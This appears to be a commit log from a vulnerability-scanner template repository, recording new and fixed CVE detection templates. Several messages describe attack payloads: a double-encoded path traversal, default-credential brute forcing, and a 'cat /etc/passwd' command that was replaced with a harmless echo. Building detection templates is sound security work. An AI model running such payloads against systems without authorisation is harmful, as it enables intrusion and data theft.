- Jetty 9.4.43 (patched): 0 matches ✓
- nuclei v3.11.1
2026-09-14 12:01:34 +05:30
ghost e77baf728b chore: generate templates checksum 🤖 2026-09-14 05:16:44 +00:00
ghost afb6606ebc chore: generate new addition list 🤖 2026-09-14 05:14:27 +00:00
ghost 936fcc57ac chore: generate CVEs metadata 🤖 2026-09-14 05:14:02 +00:00
ghost b1cee660ca chore: sign templates 🤖 2026-09-14 05:13:46 +00:00
Roberto Nunes e61ba8843e Merge pull request #17195 from christianfl/cve-2026-5562
Add CVE-2026-5562 template: Provectus kafka-ui Code Injection
2026-09-14 14:13:20 +09:00
Parth Bhandari b5b0595685 fix(CVE-2018-3760): fix broken detection with disable-path-automerge and flow
The existing template fails to detect CVE-2018-3760 on vulnerable targets
because nuclei URL-normalizes %2f and %252e in the request path, collapsing
the double-encoded traversal payload before it reaches the server.

Three changes fix the detection:

1. Add `disable-path-automerge: true` to preserve percent-encoded characters
   (%2f%2f and %252e%252e) on the wire
2. Split into two request blocks with `flow:` so the extractor from the leak
   request runs before the exploit request is built
3. Add `group: 1` to the extractor so only the load path is captured, not
   the full error string

Tested against vulhub/rails:5.0.7 (Sprockets 3.7.1 — vulnerable) and
Sprockets 3.7.2 (patched). Matches on vuln, no match on patched.
2026-09-14 10:25:20 +05:30
ghost 823ebcccf6 chore: update EPSS scores 🤖 2026-09-14 02:07:34 +00:00
Zephyr 7194fc1456 Add files via upload 2026-09-13 11:28:05 -07:00
Zephyr 10ffde3dc5 Add files via upload 2026-09-13 11:25:56 -07:00
ghost 0cb51d4bfa chore: generate templates checksum 🤖 2026-09-13 16:26:59 +00:00
ghost 0ee7791028 chore: generate new addition list 🤖 2026-09-13 16:24:44 +00:00
ghost 571b86fc48 chore: generate CVEs metadata 🤖 2026-09-13 16:24:08 +00:00
ghost 31366ff4ed chore: sign templates 🤖 2026-09-13 16:24:01 +00:00
Paul WertherandDhiyaneshwaran 20ff5a69c2 CVE-2026-85706 - GitLab CE/EE <=19.1.7/19.2.5/19.3.1 - Arbitrary File Read (#17231)
* feat: add CVE-2026-85706 template for GitLab unauthenticated file read vulnerability

* Update CVE-2026-85706 details and remediation

Updated CVE-2026-85706 details including affected versions, impact, remediation steps, and references. Enhanced descriptions and added new matchers and extractors for improved detection.

* Update file path in CVE-2026-85706.yaml

* Update CVE-2026-85706.yaml

* Update CVE-2026-85706.yaml

* Update CVE-2026-85706.yaml

* Update CVE-2026-85706.yaml

---------

Co-authored-by: Dhiyaneshwaran <[email protected]>
2026-09-13 21:53:40 +05:30
Ashish Pulivarthy 90abef1ada Merge branch 'main' into add-penpot-panel 2026-09-13 13:26:30 +05:30
Tito0015 1a747e1cff Merge branch 'main' into feature/cve-2025-62593 2026-09-12 23:38:07 -04:00
ghost a2a1b8dd37 chore: update KEV and vKEV tags and metadata 🤖 2026-09-13 03:12:36 +00:00
ghost fffd4242ae chore: update EPSS scores 🤖 2026-09-13 02:04:30 +00:00
str4k3r 92116683b5 Add cve-search CVE-2026-59509 template 2026-09-12 16:20:50 +03:00
Icaro Torres 86b34eac12 Update apache-skywalking-horizon-ui-config.yaml
removing empty line in the end of the file
2026-09-12 00:38:27 -03:00
Icaro Torres 20d91b7ea0 Create apache-skywalking-horizon-ui-config.yaml
Detects if path /api/auth/oidc/providers and /api/auth/health of SkyWalking Horizon UI server is exposed, getting authentication information.
2026-09-12 00:20:26 -03:00
Icaro Torres 584fc33d5d Create apache-skywalking-horizon-ui-default-login.yaml
Apache SkyWalking next-generation UI (Horizon). An attacker can execute unauthorized operations.
2026-09-12 00:18:16 -03:00
Icaro Torres b813f74d1b Create apache-skywalking-horizon-ui-detect.yaml
Detects an SkyWalking Horizon UI server, using the next-generation UI (Horizon).
2026-09-12 00:16:33 -03:00
ghost 8e20045753 chore: update KEV and vKEV tags and metadata 🤖 2026-09-12 03:12:13 +00:00
ghost 94d48ce293 chore: update EPSS scores 🤖 2026-09-12 02:04:50 +00:00
Last-STRAKER 86ecb83bbc Add CVE-2026-55549 template 2026-09-11 21:26:26 +03:00
Last-STRAKER d637acebd3 Add CVE-2026-59177 template 2026-09-11 21:08:00 +03:00
Matthew Mathur cb05569053 add template for CVE-2026-75650 2026-09-11 13:59:58 -04:00
Last-STRAKER 0c92f498cf Strengthen CVE-2026-33425 matcher 2026-09-11 20:06:19 +03:00
Last-STRAKER a43a2ab8f8 Strengthen CVE-2026-26077 matcher 2026-09-11 20:03:58 +03:00
Last-STRAKER fd34bec21c Add CVE-2026-33425 template 2026-09-11 19:59:33 +03:00
Last-STRAKER 9bacb897ef Update CVE-2026-69085 behavioral SQL injection detector 2026-09-11 19:56:28 +03:00
Last-STRAKER 7d2fba7be9 Add CVE-2026-26077 template 2026-09-11 19:56:17 +03:00
Last-STRAKER 7dea8b7dcc Add CVE-2026-27454 template 2026-09-11 19:50:21 +03:00
Last-STRAKER 2aa1d24802 Add CVE-2026-27934 template 2026-09-11 19:49:33 +03:00
Last-STRAKER a810214183 Add CVE-2026-13153 template 2026-09-11 19:47:10 +03:00
Last-STRAKER 2c3257ee40 Add CVE-2026-54617 template 2026-09-11 19:46:13 +03:00
Dhiyaneshwaran affb727926 Update CVE-2026-28141.yaml 2026-09-11 12:04:55 +05:30
Dhiyaneshwaran 93106c7a9f Update CVE-2026-28141.yaml 2026-09-11 11:54:07 +05:30
Last-STRAKER 91ae7df34e Strengthen CVE-2026-28141 matcher 2026-09-11 09:15:47 +03:00
Dhiyaneshwaran 8119268ec9 Revise remediation for CVE-2026-5562
Updated remediation steps for CVE-2026-5562 to reflect the end-of-life status of kafka-ui and suggest migration to the maintained fork.
2026-09-11 11:45:03 +05:30
Last-STRAKER 49ce6e3507 Add CVE-2026-28141 template 2026-09-11 09:06:09 +03:00
Dhiyaneshwaran e639ccadd5 Update CVE-2018-7600.yaml 2026-09-11 11:07:57 +05:30
ghost 502ecb8683 chore: generate templates checksum 🤖 2026-09-11 05:24:37 +00:00
ghost 68fafb34d1 chore: generate new addition list 🤖 2026-09-11 05:22:47 +00:00
ghost 18a8c4aa3b chore: generate CVEs metadata 🤖 2026-09-11 05:22:09 +00:00
ghost d98acae929 chore: sign templates 🤖 2026-09-11 05:22:03 +00:00
Last-STRAKERandRoberto Nunes 2e8cfda67d Add CVE-2026-30849 template (#17201)
* Add CVE-2026-30849 template

* Update CVE-2026-30849.yaml

* Update CVE-2026-30849.yaml

---------

Co-authored-by: Roberto Nunes <[email protected]>
2026-09-11 10:51:41 +05:30
Dhiyaneshwaran b915dc61f3 Update CVE-2026-9103.yaml 2026-09-11 10:24:49 +05:30
Dhiyaneshwaran a0f137063b Update CVE-2026-18072.yaml 2026-09-11 10:17:45 +05:30
Dhiyaneshwaran 38ac536db0 Revise CVE-2026-5562 for remote code execution details
Updated CVE-2026-5562 details including name, description, impact, remediation, and HTTP request format.
2026-09-11 09:38:33 +05:30
ghost 6557ed0294 chore: update KEV and vKEV tags and metadata 🤖 2026-09-11 03:12:41 +00:00
ghost 46f66d6512 chore: update EPSS scores 🤖 2026-09-11 02:04:59 +00:00
Roberto Nunes 2aa44df810 Update CVE-2026-29963.yaml 2026-09-11 09:20:30 +09:00
Last-STRAKER a421b81555 Add CVE-2026-9103 template 2026-09-10 23:54:14 +03:00
Last-STRAKER 5a1b20e091 Add CVE-2026-18072 template 2026-09-10 23:54:03 +03:00
Last-STRAKER da52db52a7 Add CVE-2026-29963 template 2026-09-10 23:50:18 +03:00
Last-STRAKER 36e3724162 Add CVE-2026-12609 template 2026-09-10 23:50:07 +03:00
Tito0015 15c1d28fd5 Merge branch 'main' into feature/cve-2025-62593 2026-09-10 14:35:36 -04:00
TarekandCursor bf2f50c224 fix: set Nuclei-Scanner UA on logs GET; keep wait_for(3) for async jobs
Co-authored-by: Cursor <[email protected]>
2026-09-10 14:27:08 -04:00
christianfl 07c1286cf7 add template for CVE-2026-5562 2026-09-10 17:35:51 +02:00
BENZOOgataga b78d465022 fix: gude template author 2026-09-10 15:35:04 +02:00
BENZOOgataga 770b32c935 feat(gude): add user creds and version extraction to default-login
Improve the GUDE Expert Net Control default-login template.

- Add the user:user factory pair (documented alongside admin:admin in the
  vendor manual); switch the hard-coded Basic auth header to clusterbomb
  payloads covering both pairs. max-request 1 -> 4.
- Add a regex extractor for device model and firmware from the
  "Expert Net Control <model> - v<version>" banner.
- Fix classification: CWE-522 -> CWE-1392 (Use of Default Credentials),
  the precise weakness for factory default logins.
- Add ics/ot/iot tags and expand the description.

Verified against a live GUDE Expert Net Control device.
2026-09-10 15:30:49 +02:00
ghost eeab198166 chore: generate templates checksum 🤖 2026-09-10 12:41:56 +00:00
ghost ddd39a8998 chore: generate new addition list 🤖 2026-09-10 12:39:42 +00:00
ghost f37ab38ed3 chore: sign templates 🤖 2026-09-10 12:39:02 +00:00
Ritik Chaddha ec182887c3 Merge pull request #17145 from str4k3r/str4k3r/cve-2026-29962
Add CVE-2026-29962 template
2026-09-10 18:08:38 +05:30
ghost 5a7de6fe8f chore: generate templates checksum 🤖 2026-09-10 12:23:09 +00:00
ghost 911b6660d5 chore: generate new addition list 🤖 2026-09-10 12:21:25 +00:00
ghost ea7addbdd6 chore: generate new addition list 🤖 2026-09-10 12:20:54 +00:00
ghost 2de5f54b77 chore: sign templates 🤖 2026-09-10 12:20:21 +00:00
Ritik Chaddha fd794d6230 Merge pull request #17158 from icarot/main
Create apache-livy-detect.yaml and apache-livy-logs.yaml
2026-09-10 17:49:59 +05:30
Ritik Chaddha 0d7a3c24dd Merge pull request #17160 from projectdiscovery/Akokonunes-patch-15
Create CVE-2026-48558.yaml - SimpleHelp <=5.5.15 - OIDC JWT Authentication Bypass
2026-09-10 17:49:48 +05:30
ghost aa79941794 chore: generate new addition list 🤖 2026-09-10 12:18:04 +00:00
ghost 8105bc85ab chore: generate CVEs metadata 🤖 2026-09-10 12:17:25 +00:00
ghost d3de1f260b chore: sign templates 🤖 2026-09-10 12:17:22 +00:00
Ritik Chaddha 48fd38dd96 Merge pull request #17153 from projectdiscovery/Akokonunes-patch-12
Create CVE-2026-41456.yaml - Bludit CMS <= 3.20.0 - Unauthenticated Reflected XSS via Search
2026-09-10 17:47:02 +05:30
Ritik Chaddha 4b16298cf8 lint fix 2026-09-10 17:46:18 +05:30
ghost 04f21f24a9 chore: generate templates checksum 🤖 2026-09-10 12:15:17 +00:00
Ritik Chaddha 72aabdd5c9 Update apache-livy-detect.yaml 2026-09-10 17:43:15 +05:30
ghost 1c8f0f8397 chore: generate new addition list 🤖 2026-09-10 12:13:08 +00:00
ghost 43a3461fa9 chore: generate templates checksum 🤖 2026-09-10 12:12:58 +00:00
Ritik Chaddha 1d96ce8555 Update apache-livy-logs.yaml 2026-09-10 17:42:39 +05:30
ghost 1d815deeab chore: generate CVEs metadata 🤖 2026-09-10 12:12:28 +00:00
ghost 2329ad10ec chore: sign templates 🤖 2026-09-10 12:12:25 +00:00
Ritik Chaddha c2b64a07b3 Merge pull request #17150 from str4k3r/str4k3r/cve-2026-58123
Add CVE-2026-58123 template
2026-09-10 17:42:04 +05:30
Ritik Chaddha 1caa82a6ce Update CVE-2026-41456.yaml 2026-09-10 17:41:54 +05:30
ghost 0dbae36098 chore: generate new addition list 🤖 2026-09-10 12:10:46 +00:00
ghost 2bca128d0f chore: generate CVEs metadata 🤖 2026-09-10 12:10:10 +00:00
ghost 88c9a1caa1 chore: sign templates 🤖 2026-09-10 12:10:05 +00:00
ghost a1bc238970 chore: generate new addition list 🤖 2026-09-10 12:10:01 +00:00
ghost 1d686b55bb chore: generate new addition list 🤖 2026-09-10 12:09:54 +00:00
Ritik Chaddha cf1a56f7c9 Merge pull request #17149 from str4k3r/str4k3r/cve-2026-53595
Add CVE-2026-53595 template
2026-09-10 17:39:46 +05:30
ghost 3d1584efda chore: generate new addition list 🤖 2026-09-10 12:09:38 +00:00
ghost 1a1cdef2fe chore: generate CVEs metadata 🤖 2026-09-10 12:09:23 +00:00
ghost e956bfa19f chore: sign templates 🤖 2026-09-10 12:09:21 +00:00
Ritik Chaddha ff9602ee38 Merge pull request #17128 from projectdiscovery/Akokonunes-patch-10
Create CVE-2026-82222.yaml - GiveWP <= 4.16.7.1 - Unauthenticated PHP Object Injection to RCE
2026-09-10 17:39:00 +05:30
Ritik Chaddha 9d0bf05496 Merge pull request #17039 from Dishant4081/patch-1
fix: CVE-2026-4257 nested payload variable not resolved on nuclei v3.11.1
2026-09-10 17:38:54 +05:30
Ritik Chaddha e6197d0c8a Merge pull request #17035 from projectdiscovery/Akokonunes-patch-7
Create CVE-2026-8467.yaml - Phoenix Storybook - Unauthenticated RCE via WebSocket
2026-09-10 17:38:43 +05:30
Ritik Chaddha cb71690c76 Merge pull request #17031 from SergioCc13/siemens-s7-detect
Add Siemens SIMATIC S7 Series PLC detection template
2026-09-10 17:38:37 +05:30
Ritik Chaddha cf63ae3860 fix FP 2026-09-10 17:38:13 +05:30
ghost 094b33dadc chore: generate templates checksum 🤖 2026-09-10 12:01:52 +00:00
Ritik Chaddha 63163b754e Update CVE-2026-82222.yaml 2026-09-10 17:31:10 +05:30
Ritik Chaddha c8dc8dbc3a Merge branch 'main' into patch-1 2026-09-10 17:30:07 +05:30
ghost 0dec271e70 chore: generate new addition list 🤖 2026-09-10 11:59:34 +00:00
Ritik Chaddha c2613577e7 Update CVE-2026-8467.yaml 2026-09-10 17:29:21 +05:30
ghost b744611285 chore: generate CVEs metadata 🤖 2026-09-10 11:58:56 +00:00
ghost c98e49a299 chore: sign templates 🤖 2026-09-10 11:58:53 +00:00
Ritik Chaddha 73b052873e Merge pull request #17037 from projectdiscovery/CVE-2026-41679
CVE-2026-41679 - Paperclip - Remote Code Execution
2026-09-10 17:28:33 +05:30
Ritik Chaddha 6f99cf5099 Merge pull request #17032 from munzzyy/fix/hp-printer-default-login-matchers-condition
Fix hp-printer-default-login matching any 200 response as a hit
2026-09-10 17:28:22 +05:30
ghost 3ad738c82a chore: generate templates checksum 🤖 2026-09-10 10:56:41 +00:00
ghost 164de6332c chore: generate new addition list 🤖 2026-09-10 10:54:26 +00:00
ghost ddf629976b chore: sign templates 🤖 2026-09-10 10:53:42 +00:00
Roberto Nunes 482760be1e Merge pull request #17187 from righettod/sap-cc
Add detection of "SAP Cloud Connector" instances.
2026-09-10 19:53:22 +09:00
ghost d086f30a06 chore: generate templates checksum 🤖 2026-09-10 05:01:12 +00:00
ghost 7cff359797 chore: generate new addition list 🤖 2026-09-10 04:58:59 +00:00
ghost 42f741c26f chore: generate CVEs metadata 🤖 2026-09-10 04:58:21 +00:00
ghost a1d8aaeae1 chore: sign templates 🤖 2026-09-10 04:58:18 +00:00
Roberto NunesandDhiyaneshwaran cf3dff993c Create CVE-2026-81199.yaml - MasterStudy LMS < 3.7.46 - Unauthenticated Student Statistics Disclosure (#17189)
* Create CVE-2026-81199.yaml

* Update vendor and framework information in CVE-2026-81199

* Update CVE-2026-81199.yaml

---------

Co-authored-by: Dhiyaneshwaran <[email protected]>
2026-09-10 10:27:58 +05:30
ghost c99fcaa567 chore: generate templates checksum 🤖 2026-09-10 04:56:35 +00:00
ghost 89235e4781 chore: sign templates 🤖 2026-09-10 04:53:52 +00:00
ghost 982cb03bda chore: generate templates checksum 🤖 2026-09-10 04:53:33 +00:00
shoxxdjandshoxxdj 46c6178dd5 fix case where nginx is in front of the application (#17185)
Co-authored-by: shoxxdj <[email protected]>
2026-09-10 10:23:28 +05:30
ghost 771403c323 chore: generate new addition list 🤖 2026-09-10 04:51:22 +00:00
ghost c6223bb006 chore: sign templates 🤖 2026-09-10 04:50:45 +00:00
ghost 90de8d95ce chore: generate CVEs metadata 🤖 2026-09-10 04:50:42 +00:00
Roberto Nunes 02d55de340 Create CVE-2026-87820.yaml (#17190) 2026-09-10 10:20:19 +05:30
ghost 849b417b96 chore: update KEV and vKEV tags and metadata 🤖 2026-09-10 03:12:38 +00:00
ghost c558d70a0a chore: update EPSS scores 🤖 2026-09-10 02:04:51 +00:00
Tarek 4747dc00d8 Merge branch 'main' into feature/cve-2025-62593 2026-09-09 20:19:49 -04:00
ghost e17ad8c242 chore: generate templates checksum 🤖 2026-09-10 00:12:33 +00:00
ghost e1480e8f03 chore: generate new addition list 🤖 2026-09-10 00:10:14 +00:00
ghost ced0c7acd2 chore: generate CVEs metadata 🤖 2026-09-10 00:09:49 +00:00
ghost f72ca4abd6 chore: sign templates 🤖 2026-09-10 00:09:34 +00:00
28efe82cca Add CVE-2026-2113 - tpadmin WebUploader RCE template (#17106)
* feat(cves): add CVE-2026-2113 tpadmin WebUploader RCE template

* Update CVE-2026-2113.yaml

* Update CVE-2026-2113.yaml

---------

Co-authored-by: Aman Rawat <[email protected]>
Co-authored-by: Dhiyaneshwaran <[email protected]>
2026-09-10 05:39:13 +05:30
Tarek 0808e85e3f Merge branch 'main' into feature/cve-2025-62593 2026-09-09 16:39:06 -04:00
ghost 51e1cd15aa chore: generate new addition list 🤖 2026-09-09 14:44:50 +00:00
ghost b82cc19bc5 chore: generate CVEs metadata 🤖 2026-09-09 14:44:08 +00:00
Last-STRAKERandAman Rawat d924f8fa4b Add CVE-2026-0702 template (#17053)
* Add CVE-2026-0702 template

* Update CVE-2026-0702.yaml

---------

Co-authored-by: Aman Rawat <[email protected]>
2026-09-09 20:13:44 +05:30
ghost 54ab9e3738 chore: generate templates checksum 🤖 2026-09-09 14:43:07 +00:00
ghost b1dc1f01ca chore: sign templates 🤖 2026-09-09 14:40:16 +00:00
ghost deb463000b chore: generate new addition list 🤖 2026-09-09 14:37:20 +00:00
ghost 0b870dcf21 chore: generate CVEs metadata 🤖 2026-09-09 14:36:51 +00:00
Roberto Nunes ab4e470eef Create CVE-2026-86426.yaml (#17181) 2026-09-09 20:06:28 +05:30
Dominique RIGHETTO 857b168d5c Simplify matchers by removing matchers-condition
Removed matchers-condition to simplify the matching logic.
2026-09-09 15:20:18 +02:00
Dominique RIGHETTO ed6ffaeab6 Add files via upload 2026-09-09 15:16:40 +02:00
Aman Rawat 071de846f3 Update CVE-2026-58123.yaml 2026-09-09 11:28:46 +05:30
ghost 8bc20b8b53 chore: update KEV and vKEV tags and metadata 🤖 2026-09-09 03:12:47 +00:00
ghost e99077f338 chore: generate templates checksum 🤖 2026-09-09 02:55:59 +00:00
ghost 3be2dcd637 chore: generate new addition list 🤖 2026-09-09 02:53:34 +00:00
ghost 979f19d3e5 chore: sign templates 🤖 2026-09-09 02:52:56 +00:00
Roberto Nunes a6440580a9 Merge pull request #17017 from Ls4ss/add-cve-2020-29134-totvs-fluig
TOTVS Fluig <= 1.7.0 - Arbitrary File Read / Directory Traversal (CVE-2020-29134)
2026-09-09 11:52:34 +09:00
ghost 5e5948011f chore: update EPSS scores 🤖 2026-09-09 02:04:43 +00:00
ghost d6dd07d5e9 chore: generate templates checksum 🤖 2026-09-09 01:29:18 +00:00
ghost 7261392b98 chore: generate new addition list 🤖 2026-09-09 01:27:16 +00:00
ghost 3f3df8cf7b chore: generate CVEs metadata 🤖 2026-09-09 01:26:40 +00:00
ghost 7fd7eb15d4 chore: sign templates 🤖 2026-09-09 01:26:34 +00:00
Roberto Nunes f68e2fc277 Merge pull request #17156 from 0xgh057r3c0n/cve-2026-19632
Add CVE-2026-19632 - TranslatePress Account Takeover
2026-09-09 10:26:13 +09:00
Roberto Nunes 6e36db143c Merge pull request #17043 from jankesec/fix/cve-2025-29927-false-positive
Fix: CVE-2025-29927 false positive on benign Next.js locale/i18n middleware redirects
2026-09-09 10:26:06 +09:00
Lucas Souza 71800abc08 Merge branch 'main' into add-cve-2020-29134-totvs-fluig 2026-09-09 00:58:45 +00:00
Tito0015 49db1ea510 Merge branch 'main' into feature/cve-2025-62593 2026-09-08 20:56:22 -04:00
ghost 63b0a18281 chore: generate templates checksum 🤖 2026-09-09 00:50:00 +00:00
ghost f0d259c51c chore: generate new addition list 🤖 2026-09-09 00:49:54 +00:00
ghost 12226026a8 chore: generate new addition list 🤖 2026-09-09 00:49:30 +00:00
ghost c73150ca5a chore: generate CVEs metadata 🤖 2026-09-09 00:49:15 +00:00
ghost 61bee9169f chore: sign templates 🤖 2026-09-09 00:49:10 +00:00
Roberto Nunes dde0d62c59 Merge pull request #17169 from projectdiscovery/CVE-2026-60105
CVE-2026-60105 - Monsta FTP <= 2.14.4 - Unauthenticated SSRF via IPv6 Blocklist Bypass
2026-09-09 09:48:52 +09:00
ghost 62b405ce0a chore: sign templates 🤖 2026-09-09 00:48:46 +00:00
Roberto Nunes 650e0c7153 Merge pull request #17172 from projectdiscovery/CVE-2026-83548
CVE-2026-83548 - SonicWall SMA1000 WorkPlace - Unauthenticated SSRF to CouchDB
2026-09-09 09:48:26 +09:00
ghost 0afd590b9b chore: generate new addition list 🤖 2026-09-09 00:47:55 +00:00
ghost 0ed9a1f3fe chore: sign templates 🤖 2026-09-09 00:47:06 +00:00
Roberto Nunes bf6b0b5ac0 Merge pull request #17176 from projectdiscovery/CVE-2026-86206
CVE-2026-86206 - N-able N-central - Access Control Bypass via Path Confusion and Forwarded Header Spoofing
2026-09-09 09:46:43 +09:00
ghost c219f6114b chore: generate templates checksum 🤖 2026-09-08 23:22:19 +00:00
ghost 5d2977a381 chore: generate new addition list 🤖 2026-09-08 23:20:12 +00:00
ghost 5d1e701bff chore: generate CVEs metadata 🤖 2026-09-08 23:19:39 +00:00
ghost 9d42b49909 chore: sign templates 🤖 2026-09-08 23:19:35 +00:00
Roberto Nunes 704070b3f1 Merge pull request #17178 from projectdiscovery/CVE-2026-86207
CVE-2026-86207 - N-able N-central - Authentication Bypass
2026-09-09 08:19:12 +09:00
Dhiyaneshwaran a4abd14dd0 CVE-2026-86207 - N-able N-central - Authentication Bypass 2026-09-08 23:14:25 +05:30
Dhiyaneshwaran e81f90ece3 CVE-2026-86206 - N-able N-central - Access Control Bypass via Path Confusion and Forwarded Header Spoofing 2026-09-08 22:20:09 +05:30
Lucas Souza ed2d584e41 Merge branch 'main' into add-cve-2020-29134-totvs-fluig 2026-09-08 13:41:06 +00:00
Aman Rawat d13260b51c Update CVE-2026-19632.yaml 2026-09-08 17:20:58 +05:30
Aman Rawat b92a632745 lint fix 2026-09-08 17:12:18 +05:30
Aman Rawat b52e251b17 Update CVE-2018-7600.yaml 2026-09-08 17:11:05 +05:30
Aman Rawat 8b298fed37 Update CVE-2020-11991.yaml 2026-09-08 16:58:51 +05:30
Aman Rawat 607f01581c Update CVE-2020-29134.yaml 2026-09-08 16:50:18 +05:30
ghost ca9197a381 chore: generate templates checksum 🤖 2026-09-08 09:51:15 +00:00
github-actions[bot] e9f3f6aa4a chore: add impact and remediation fields 🤖 2026-09-08 09:49:00 +00:00
ghost 8cf94b93a3 chore: sign templates 🤖 2026-09-08 09:47:47 +00:00
Prince Chaddha aae0ce26eb Merge pull request #15122 from matejsmycka/add-tags
[BULK EDIT] Update vuln and discovery tags
2026-09-08 15:17:26 +05:30
Prince Chaddha c43bc53bcf Merge branch 'main' into add-tags 2026-09-08 15:11:47 +05:30
Prince Chaddha 5587bb896c Fix tags indentation in CVE-2019-5591
The tags line was indented under info.metadata instead of info, which
made info.tags resolve to null and dropped all tags for this template.
2026-09-08 15:06:15 +05:30
ghost e4a08b1e6d chore: generate templates checksum 🤖 2026-09-08 09:14:04 +00:00
ghost 5126497383 chore: generate new addition list 🤖 2026-09-08 09:11:49 +00:00
ghost 8a37cd98b1 chore: generate CVEs metadata 🤖 2026-09-08 09:11:16 +00:00
ghost f4957432aa chore: sign templates 🤖 2026-09-08 09:11:11 +00:00
Last-STRAKERandRoberto Nunes d658cab22f Add CVE-2026-56292 template (#17148)
* Add CVE-2026-56292 template

* Update CVE-2026-56292.yaml

---------

Co-authored-by: Roberto Nunes <[email protected]>
2026-09-08 14:40:50 +05:30
diedromeo be14fe621d fix(CVE-2020-11991): correct endpoint path and XML declaration
The published template cannot detect a vulnerable Apache Cocoon instance:

1. It POSTs to /v2/api/product/manger/getInfo — a hardcoded path from an
   unrelated product. Cocoon routes are defined by its sitemap; this path
   404s. Changed to samples/process-order, a sample pipeline shipped with
   Cocoon that invokes StreamGenerator (see reference links in template).

2. The XML declaration is inside an HTML comment (<!--?xml ... ?-->),
   which is not valid XML. Fixed to <?xml version="1.0"?>.

Verified against real Cocoon 2.1.12 (vuln) and 2.1.13 (patched) builds
from official Apache source tarballs.
2026-09-08 13:34:38 +05:30
TarekandCursor 052621aa98 fix: add 3s execution delay to prevent log fetch race condition
Co-authored-by: Cursor <[email protected]>
2026-09-08 00:47:00 -04:00
Dhiyaneshwaran 9c4ea6e877 CVE-2026-83548 - SonicWall SMA1000 WorkPlace - Unauthenticated SSRF to CouchDB 2026-09-08 10:08:34 +05:30
TarekandCursor e24e2d653b feat(cve-2025-62593): add unauthenticated RCE template for Ray API (#16961)
Co-authored-by: Cursor <[email protected]>
2026-09-07 23:19:55 -04:00
Roberto Nunes e24edcea81 Create CVE-2026-1340.yaml 2026-09-08 12:12:40 +09:00
Dhiyaneshwaran 604409225e CVE-2026-60105 - Monsta FTP <= 2.14.4 - Unauthenticated SSRF via IPv6 Blocklist Bypass 2026-09-08 08:28:05 +05:30
ghost 8b70365f36 chore: update EPSS scores 🤖 2026-09-08 02:04:45 +00:00
1dayexploitandClaude Opus 4.8 350fa83055 Add CVE-2026-6377 - Next4Biz CSM - Arbitrary File Read via DownloadFileHandler
Co-Authored-By: Claude Opus 4.8 <[email protected]>
Claude-Session: https://claude.ai/code/session_01YapGUwJ3s9RekjfR3h5v7q
2026-09-07 19:53:01 +03:00
diedromeo 811dcf6f6a fix(CVE-2018-7600): non-destructive, false-positive-proof RCE detection
Replaces the destructive 'cat /etc/passwd' payload with a harmless echo that
still executes code through the vulnerable Form API render array, and fixes a
false negative caused by matching Content-Type: application/json (the response
is text/html once command output is written to the body). Reflection-proof:
the joined randstr token only appears on real command execution.

Verified against vulhub/drupal:8.5.0 (match) and patched Drupal 8.5.11
(no match), nuclei v3.11.1, 5 runs each.
2026-09-07 21:43:16 +05:30
ghost f4e3e1c689 chore: generate templates checksum 🤖 2026-09-07 13:55:23 +00:00
ghost 6ac294dc7e chore: sign templates 🤖 2026-09-07 13:52:17 +00:00
Aman Rawat 8c542e0026 Merge pull request #17165 from projectdiscovery/fix-template
Update CVE-2026-33017.yaml with new request limits
2026-09-07 19:21:55 +05:30
Dhiyaneshwaran 34a0e3f80d Update CVE-2026-33017.yaml with new request limits 2026-09-07 17:51:08 +05:30
ghost 9c896aebeb chore: generate templates checksum 🤖 2026-09-07 08:10:28 +00:00
ghost d1155439fc chore: sign templates 🤖 2026-09-07 08:07:40 +00:00
Aman Rawat 5e43a12014 Merge pull request #17159 from projectdiscovery/17046-FALSE-NEGATIVE-IN-CVE-2026-72898--WITH-MULTILINGUAL
FIX-FALSE-NEGATIVE-IN-CVE-2026-72898 -WITH-MULTILINGUAL
2026-09-07 13:37:19 +05:30
Aman Rawat ed231d590a Merge branch 'main' into 17046-FALSE-NEGATIVE-IN-CVE-2026-72898--WITH-MULTILINGUAL 2026-09-07 12:15:06 +05:30
ghost 5c7eb35a45 chore: generate templates checksum 🤖 2026-09-07 06:38:06 +00:00
ghost eeb2c80e9d chore: generate new addition list 🤖 2026-09-07 06:35:32 +00:00
ghost 608680d0d9 chore: generate new addition list 🤖 2026-09-07 06:35:11 +00:00
ghost 08283db6d5 chore: generate CVEs metadata 🤖 2026-09-07 06:35:07 +00:00
ghost 6222428ce6 chore: sign templates 🤖 2026-09-07 06:34:52 +00:00
Aman Rawat 4851f3b412 Merge pull request #17055 from str4k3r/str4k3r/cve-2026-42221
Add CVE-2026-42221 template
2026-09-07 12:04:31 +05:30
Aman Rawat 8047461dac Merge pull request #17144 from str4k3r/str4k3r/cve-2026-44343
Add CVE-2026-44343 template
2026-09-07 12:04:10 +05:30
ghost 47cb097629 chore: generate new addition list 🤖 2026-09-07 06:33:47 +00:00
Aman Rawat bb5d716b3c Merge branch 'main' into 17046-FALSE-NEGATIVE-IN-CVE-2026-72898--WITH-MULTILINGUAL 2026-09-07 12:03:42 +05:30
ghost 6aeb3f77cc chore: generate CVEs metadata 🤖 2026-09-07 06:33:14 +00:00
Aman Rawat ff6f8908f2 Merge pull request #17146 from str4k3r/str4k3r/cve-2026-28411
Add CVE-2026-28411 template
2026-09-07 12:02:50 +05:30
ghost f62482f652 chore: generate new addition list 🤖 2026-09-07 06:27:25 +00:00
ghost 780a55a581 chore: generate CVEs metadata 🤖 2026-09-07 06:26:46 +00:00
Aman Rawat c72b65e836 Merge pull request #17054 from str4k3r/str4k3r/cve-2026-21875
Add CVE-2026-21875 template
2026-09-07 11:56:24 +05:30
Roberto Nunes 78c4014687 Update CVE-2026-28411.yaml 2026-09-07 14:21:54 +09:00
Roberto Nunes 492950cfcf Update CVE-2026-42221.yaml 2026-09-07 12:45:31 +09:00
Roberto Nunes ee04277a71 Update CVE-2026-21875.yaml 2026-09-07 12:06:21 +09:00
ghost 49bacb710c chore: update EPSS scores 🤖 2026-09-07 02:05:42 +00:00
ghost 6aa8b75779 chore: generate templates checksum 🤖 2026-09-07 01:11:27 +00:00
ghost c0e0b72dec chore: generate new addition list 🤖 2026-09-07 01:09:05 +00:00
ghost cb1a4274bd chore: generate CVEs metadata 🤖 2026-09-07 01:08:41 +00:00
ghost 9ee215a3fe chore: sign templates 🤖 2026-09-07 01:08:35 +00:00
Last-STRAKERandRoberto Nunes bf4ec7eb70 Add CVE-2026-0561 template (#17050)
* Add CVE-2026-0561 template

* refine CVE-2026-0561 matcher

* Update CVE-2026-0561.yaml

---------

Co-authored-by: Roberto Nunes <[email protected]>
2026-09-07 06:38:14 +05:30
ghost 51ec16332a chore: generate templates checksum 🤖 2026-09-07 00:29:51 +00:00
